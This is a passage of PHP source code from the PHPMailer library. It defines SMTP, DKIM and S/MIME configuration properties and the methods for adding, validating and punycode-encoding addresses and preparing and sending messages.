     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
